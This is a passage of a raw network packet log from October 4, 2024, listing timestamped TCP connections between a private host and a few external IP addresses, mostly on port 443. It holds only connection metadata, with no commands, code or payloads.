Oct 4, 2024 09:53:14.396498919 CEST	57136	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.396529913 CEST	443	57136	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.396553040 CEST	443	57136	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.401335001 CEST	57141	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.401417971 CEST	443	57141	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.401504993 CEST	57141	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.401614904 CEST	57141	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.401654005 CEST	443	57141	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.493383884 CEST	57132	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.493416071 CEST	443	57132	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.864393950 CEST	443	57137	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.866035938 CEST	57137	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.866075993 CEST	443	57137	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.869172096 CEST	57137	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.869188070 CEST	443	57137	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.905702114 CEST	443	57138	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.906135082 CEST	57138	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.906152964 CEST	443	57138	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.906594992 CEST	57138	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.906605959 CEST	443	57138	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.933989048 CEST	443	57139	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.934449911 CEST	57139	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.934498072 CEST	443	57139	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.934720039 CEST	57139	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.934732914 CEST	443	57139	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.972050905 CEST	443	57137	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.972186089 CEST	443	57137	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.972238064 CEST	57137	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.972507000 CEST	57137	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.972533941 CEST	443	57137	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.979451895 CEST	57142	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.979537964 CEST	443	57142	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.979608059 CEST	57142	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.979741096 CEST	57142	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.979769945 CEST	443	57142	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.999074936 CEST	443	57140	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.999406099 CEST	57140	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.999447107 CEST	443	57140	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:14.999749899 CEST	57140	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:14.999763012 CEST	443	57140	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.004492044 CEST	443	57138	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.004626036 CEST	443	57138	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.004703999 CEST	57138	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.004703999 CEST	57138	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.004703999 CEST	57138	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.006671906 CEST	57143	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.006731033 CEST	443	57143	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.006804943 CEST	57143	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.006905079 CEST	57143	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.006922007 CEST	443	57143	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.034749031 CEST	443	57139	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.034780025 CEST	443	57139	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.034835100 CEST	57139	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.034861088 CEST	443	57139	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.034887075 CEST	443	57139	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.034934998 CEST	57139	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.034995079 CEST	57139	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.034995079 CEST	57139	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.035024881 CEST	443	57139	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.035046101 CEST	443	57139	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.036909103 CEST	57144	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.036995888 CEST	443	57144	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.037081003 CEST	57144	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.037192106 CEST	57144	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.037223101 CEST	443	57144	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.050893068 CEST	443	57141	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.051234007 CEST	57141	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.051290989 CEST	443	57141	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.051604986 CEST	57141	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.051620007 CEST	443	57141	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.102863073 CEST	443	57140	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.103140116 CEST	443	57140	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.103204012 CEST	57140	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.103245974 CEST	57140	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.103245974 CEST	57140	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.103272915 CEST	443	57140	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.103292942 CEST	443	57140	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.105314970 CEST	57145	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.105406046 CEST	443	57145	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.105483055 CEST	57145	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.105580091 CEST	57145	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.105607986 CEST	443	57145	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.154329062 CEST	443	57141	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.154601097 CEST	443	57141	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.154836893 CEST	57141	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.154838085 CEST	57141	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.154838085 CEST	57141	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.157140017 CEST	57146	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.157183886 CEST	443	57146	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.157263994 CEST	57146	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.157437086 CEST	57146	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.157460928 CEST	443	57146	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.305682898 CEST	57138	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.305717945 CEST	443	57138	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.461980104 CEST	57141	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.462044001 CEST	443	57141	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.637763977 CEST	443	57142	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.638421059 CEST	57142	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.638483047 CEST	443	57142	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.638858080 CEST	57142	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.638873100 CEST	443	57142	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.663049936 CEST	443	57143	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.663619041 CEST	57143	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.663667917 CEST	443	57143	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.663989067 CEST	57143	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.664005995 CEST	443	57143	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.710037947 CEST	443	57144	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.710560083 CEST	57144	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.710633993 CEST	443	57144	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.710983992 CEST	57144	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.710999966 CEST	443	57144	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.751218081 CEST	443	57142	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.751698971 CEST	443	57142	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.751781940 CEST	57142	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.751847982 CEST	57142	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.751847982 CEST	57142	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.751884937 CEST	443	57142	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.751909971 CEST	443	57142	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.754395008 CEST	57147	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.754456997 CEST	443	57147	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.754554987 CEST	57147	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.754700899 CEST	57147	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.754734039 CEST	443	57147	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.760672092 CEST	443	57145	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.761012077 CEST	57145	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.761030912 CEST	443	57143	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.761037111 CEST	443	57145	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.761115074 CEST	443	57143	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.761177063 CEST	57143	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.761210918 CEST	443	57143	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.761240959 CEST	443	57143	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.761284113 CEST	57143	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.761329889 CEST	443	57143	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.761373043 CEST	57143	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.761373997 CEST	57143	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.761394978 CEST	443	57143	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.761416912 CEST	443	57143	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.761614084 CEST	57145	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.761621952 CEST	443	57145	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.763031006 CEST	57148	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.763117075 CEST	443	57148	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.763200998 CEST	57148	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.763298988 CEST	57148	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.763324022 CEST	443	57148	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.826773882 CEST	443	57144	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.827152014 CEST	443	57144	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.827223063 CEST	57144	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.827281952 CEST	57144	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.827281952 CEST	57144	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.827313900 CEST	443	57144	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.827353001 CEST	443	57144	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.830085993 CEST	57149	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.830121040 CEST	443	57149	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.830182076 CEST	57149	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.830353022 CEST	57149	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.830365896 CEST	443	57149	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.844044924 CEST	443	57146	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.844429970 CEST	57146	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.844491005 CEST	443	57146	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.844954967 CEST	57146	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.844968081 CEST	443	57146	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.861880064 CEST	443	57145	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.861916065 CEST	443	57145	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.861963987 CEST	57145	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.861967087 CEST	443	57145	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.862013102 CEST	57145	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.862072945 CEST	57145	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.862072945 CEST	57145	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.862106085 CEST	443	57145	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.862128019 CEST	443	57145	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.864434958 CEST	57150	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.864459038 CEST	443	57150	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.864510059 CEST	57150	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.864656925 CEST	57150	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.864662886 CEST	443	57150	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.949152946 CEST	443	57146	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.949841022 CEST	443	57146	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.949903965 CEST	57146	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.949956894 CEST	57146	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.949979067 CEST	443	57146	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.950012922 CEST	57146	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.950020075 CEST	443	57146	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.952445984 CEST	57151	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.952532053 CEST	443	57151	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:15.952627897 CEST	57151	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.952760935 CEST	57151	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:15.952796936 CEST	443	57151	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.629986048 CEST	443	57147	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.630618095 CEST	57147	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.630681992 CEST	443	57147	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.631129026 CEST	57147	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.631143093 CEST	443	57147	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.635314941 CEST	443	57149	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.635344028 CEST	443	57150	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.635673046 CEST	57150	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.635690928 CEST	443	57150	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.635997057 CEST	57149	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.636003971 CEST	443	57149	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.636131048 CEST	443	57151	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.636445999 CEST	57150	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.636451006 CEST	443	57150	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.636488914 CEST	57149	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.636493921 CEST	443	57149	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.636902094 CEST	57151	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.636936903 CEST	443	57151	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.637238026 CEST	57151	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.637252092 CEST	443	57151	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.639868975 CEST	443	57148	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.640155077 CEST	57148	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.640183926 CEST	443	57148	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.640494108 CEST	57148	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.640505075 CEST	443	57148	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.736186981 CEST	443	57147	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.736258030 CEST	443	57147	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.736367941 CEST	443	57147	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.736531019 CEST	57147	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.736531019 CEST	57147	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.736627102 CEST	57147	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.736627102 CEST	57147	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.736674070 CEST	443	57147	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.736709118 CEST	443	57147	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.738861084 CEST	443	57149	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.738933086 CEST	443	57149	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.738984108 CEST	443	57149	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.738991022 CEST	57149	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.739032030 CEST	57149	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.739123106 CEST	57149	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.739141941 CEST	443	57149	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.739151955 CEST	57149	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.739157915 CEST	443	57149	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.739207029 CEST	443	57150	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.739404917 CEST	57152	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.739456892 CEST	443	57152	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.739541054 CEST	57152	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.739619970 CEST	443	57150	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.739654064 CEST	57152	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.739669085 CEST	57150	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.739685059 CEST	443	57152	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.739705086 CEST	57150	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.739708900 CEST	443	57150	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.739718914 CEST	57150	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.739722013 CEST	443	57150	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.741755009 CEST	57153	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.741858959 CEST	443	57153	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.741892099 CEST	57154	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.741911888 CEST	443	57154	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.741947889 CEST	57153	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.742003918 CEST	57154	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.742110014 CEST	57154	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.742146969 CEST	443	57154	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.742167950 CEST	57153	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.742191076 CEST	443	57153	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.743900061 CEST	443	57151	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.744417906 CEST	443	57151	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.744457006 CEST	443	57151	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.744472980 CEST	57151	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.744503021 CEST	57151	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.744551897 CEST	57151	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.744589090 CEST	443	57151	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.744616032 CEST	57151	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.744631052 CEST	443	57151	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.746463060 CEST	57155	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.746484041 CEST	443	57155	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.746697903 CEST	57155	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.746697903 CEST	57155	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.746737957 CEST	443	57155	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.752597094 CEST	443	57148	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.752656937 CEST	443	57148	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.752732038 CEST	57148	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.753009081 CEST	57148	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.753020048 CEST	443	57148	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.753070116 CEST	57148	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.753081083 CEST	443	57148	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.755023003 CEST	57156	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.755064011 CEST	443	57156	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:16.755150080 CEST	57156	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.755275011 CEST	57156	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:16.755301952 CEST	443	57156	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.041342020 CEST	57018	80	192.168.2.4	45.132.206.251
Oct 4, 2024 09:53:17.396342993 CEST	443	57152	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.399926901 CEST	443	57155	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.414374113 CEST	57152	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.414434910 CEST	443	57152	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.414840937 CEST	57152	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.414854050 CEST	443	57152	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.415414095 CEST	57155	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.415426970 CEST	443	57155	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.415927887 CEST	57155	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.415939093 CEST	443	57155	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.416143894 CEST	443	57153	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.416975975 CEST	57153	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.417037010 CEST	443	57153	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.417387009 CEST	57153	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.417399883 CEST	443	57153	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.429886103 CEST	443	57154	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.433265924 CEST	57154	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.433279991 CEST	443	57154	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.433657885 CEST	57154	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.433666945 CEST	443	57154	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.433787107 CEST	443	57156	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.434117079 CEST	57156	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.434175968 CEST	443	57156	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.434442043 CEST	57156	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.434456110 CEST	443	57156	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.511739016 CEST	443	57155	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.511832952 CEST	443	57152	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.512303114 CEST	443	57155	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.512350082 CEST	443	57155	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.512376070 CEST	57155	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.512386084 CEST	443	57152	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.512443066 CEST	57155	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.512443066 CEST	57152	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.512713909 CEST	57155	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.512713909 CEST	57155	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.512758970 CEST	443	57155	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.512787104 CEST	443	57155	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.514487028 CEST	57152	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.514487028 CEST	57152	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.514503956 CEST	443	57152	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.514523983 CEST	443	57152	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.517658949 CEST	443	57153	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.517844915 CEST	443	57153	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.517904997 CEST	57153	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.518769026 CEST	57153	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.518805981 CEST	443	57153	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.518830061 CEST	57153	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.518845081 CEST	443	57153	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.520838976 CEST	57157	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.520865917 CEST	443	57157	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.520915985 CEST	57157	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.521811962 CEST	57158	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:17.521820068 CEST	443	57158	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:17.521868944 CEST	57158	443	192.168.2.4	13.107.246.45
